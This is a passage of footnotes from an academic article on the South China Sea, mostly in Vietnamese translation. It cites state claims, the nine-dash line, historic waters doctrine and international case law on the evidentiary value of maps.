http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ 